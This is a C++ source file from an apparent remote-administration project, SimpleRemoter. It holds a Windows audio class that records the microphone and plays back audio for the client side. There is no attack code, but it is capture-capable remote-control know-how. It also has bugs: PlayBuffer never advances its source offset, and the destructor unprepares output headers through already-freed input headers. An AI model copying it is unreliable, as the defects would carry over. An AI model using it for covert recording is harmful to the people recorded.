Files
SimpleRemoter/client/Audio.cpp
yuanyuanxiang 8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00

233 lines
6.7 KiB
C++

// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Audio.h"
#include <iostream>
#ifdef _WINDOWS
#define __CreateThread CreateThread
#else
#include "SafeThread.h"
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
m_ulBufferLength = 1000;
for (int i = 0; i < 2; ++i) {
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
m_OutAudioHeader[i] = new WAVEHDR;
}
}
CAudio::~CAudio()
{
m_bExit = TRUE;
if (m_hEventWaveIn) {
SetEvent(m_hEventWaveIn);
SAFE_CLOSE_HANDLE(m_hEventWaveIn);
m_hEventWaveIn = NULL;
}
if (m_hStartRecord) {
SetEvent(m_hStartRecord);
SAFE_CLOSE_HANDLE(m_hStartRecord);
m_hStartRecord = NULL;
}
if (m_bIsWaveInUsed) {
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; ++i) {
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed) {
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; ++i) {
if (m_InAudioHeader[i])
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; ++i) {
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
delete [] m_OutAudioHeader[i];
m_OutAudioHeader[i] = NULL;
}
}
BOOL CAudio::InitializeWaveIn()
{
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
//m_hWaveIn 录音机句柄
if (mmResult != MMSYSERR_NOERROR) {
return FALSE;
}
//录音设备 需要的两个缓冲
for (int i=0; i<2; ++i) {
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_InAudioHeader[i]->dwFlags = 0;
m_InAudioHeader[i]->dwLoops = 0;
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
if (m_Thread!=NULL) {
ResumeThread(m_Thread);
}
waveInStart(m_hWaveIn); //录音
m_bIsWaveInUsed = TRUE;
return true;
}
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
//录音机
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
return NULL;
}
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength;
return m_InAudioData[m_nWaveInIndex]; //返出真正数据
}
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
CAudio *This = (CAudio *)lParam;
MSG Msg;
while (GetMessage(&Msg, NULL, 0, 0)) {
if (This->m_bExit)
break;
if (Msg.message == MM_WIM_DATA) {
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//更新缓冲
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
break;
}
if (Msg.message == MM_WIM_CLOSE) {
break;
}
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
Mprintf("waveInCallBack end\n");
This->m_hThreadCallBack = false;
return 0XDEADAAAA;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
return NULL;
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
MMRESULT mmResult;
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (int i = 0; i < 2; ++i) {
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_OutAudioHeader[i]->dwFlags = 0;
m_OutAudioHeader[i]->dwLoops = 0;
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
}
m_bIsWaveOutUsed = TRUE;
return TRUE;
}